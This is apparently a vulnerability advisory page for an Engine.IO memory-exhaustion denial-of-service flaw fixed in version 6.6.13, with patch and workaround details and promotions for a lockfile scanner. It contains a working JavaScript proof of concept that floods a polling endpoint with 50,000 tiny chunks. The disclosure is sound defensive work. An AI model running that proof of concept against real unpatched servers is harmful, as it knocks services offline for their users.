HighGHSA-c8pq-854x-25q2CVE-2026-144306

Socket.IO: Engine.IO DoS via memory exhaustion

Published 4 Dec 2026 · Updated 5 Dec 2026

Affected package

Affected
<6.6.13
Fixed in
6.6.13
Update to the fixed version for your release line, for example:npm install engine.io@6.6.13

We confirm your address first. See our privacy policy.

Which engine.io does your project really install?

Drop your package-lock.json hereWe find the exact engine.io version you install, even when another package pulls it in, and tell you if it’s affected and what to run. Free, no sign-up.

Works for private projects: the file is read in memory to run the scan and then dropped. Also reads yarn.lock, pnpm-lock.yaml or package.json.

Public repo?

Look after several JavaScript apps? Indie watches up to 15 repos, private ones too, for $5 a month. See Indie

Details

Summary

A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unbounded chunk buffering when processing polling POST requests.

This vulnerability primarily affects direct connections to the Engine.IO server (without a reverse proxy), as most reverse proxies (Nginx, HAProxy, Apache) will concatenate chunks before forwarding them to the backend. An attacker with direct access could send a request body split into many small chunks, forcing the server to create excessive string objects and causing memory exhaustion.

Proof of concept

import http from "node:http";
import { Server } from "engine.io";
import { Socket } from "engine.io-client";

// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);

server.listen(3000, async () => {
  console.log("Vulnerable server listening on port 3000");

  // Create a connection first to get a session ID
  const client = new Socket("ws://localhost:3000", { transports: ["polling"] });
  await new Promise((resolve) => client.on("open", resolve));

  // Attacker: Send polling POST with many small chunks (exceeds safe buffer limit)
  const nodeReq = http.request(
    {
      hostname: "localhost",
      port: 3000,
      path: `/engine.io/?transport=polling&EIO=4&sid=${client.id}`,
      method: "POST",
      headers: {
        "Content-Type": "text/plain",
        "Transfer-Encoding": "chunked",
      },
    },
    (res) => {
      console.log("Response status:", res.statusCode);
      client.close();
      server.close();
    }
  );

  // Send many small chunks to exhaust memory
  for (let i = 0; i < 50_000; i++) {
    nodeReq.write("a");
  }
  nodeReq.end();
});

Expected Result: The server may run out of memory or experience severe performance degradation due to excessive string concatenation and chunk buffering.

Patches

Fixed in:

  • engine.io@6.6.13 (via commit https://github.com/socketio/socket.io/commit/f0df289212e6ff138723933e33db891796f4d3d1)

Workarounds

In vulnerable versions, the issue can be mitigated by:

1. Using a reverse proxy (e.g., Nginx, HAProxy, Apache) - Most reverse proxies concatenate chunks before forwarding, effectively neutralizing this attack vector 2. Limiting request body size at the reverse proxy level (e.g., Nginx client_max_body_size) 3. Rate limiting connections per IP to prevent chunk flooding 4. Disabling polling transport if your application only needs WebSocket:

const engine = new Server({
  transports: ["websocket"]
});

Note: These are temporary mitigations. Upgrading to engine.io@6.6.13 and above is the recommended fix.

Credits

The vulnerability was responsibly disclosed by Salih Çağlar İspirli.

Is GHSA-c8pq-854x-25q2 in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected engine.io, and gives you the command that fixes it.

More advisories for engine.io

  • HighCVE-2026-137200Socket.IO: Engine.IO DoS via unhandled upgrade error · 1 Dec 2026
  • HighCVE-2026-102599Socket.IO: Engine.IO Protocol Revision Mismatch DoS · 29 Sept 2026
  • HighCVE-2026-59724Socket.IO: Engine.IO WebTransport SID DoS · 31 Aug 2026
  • HighCVE-2026-59725Socket.IO: Engine.IO Polling Transport Connection Exhaustion · 20 Jul 2026
  • MediumCVE-2023-31125engine.io Uncaught Exception vulnerability · 3 May 2023
  • MediumCVE-2022-41940Uncaught exception in engine.io · 21 Nov 2022
All 9 advisories for engine.io

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.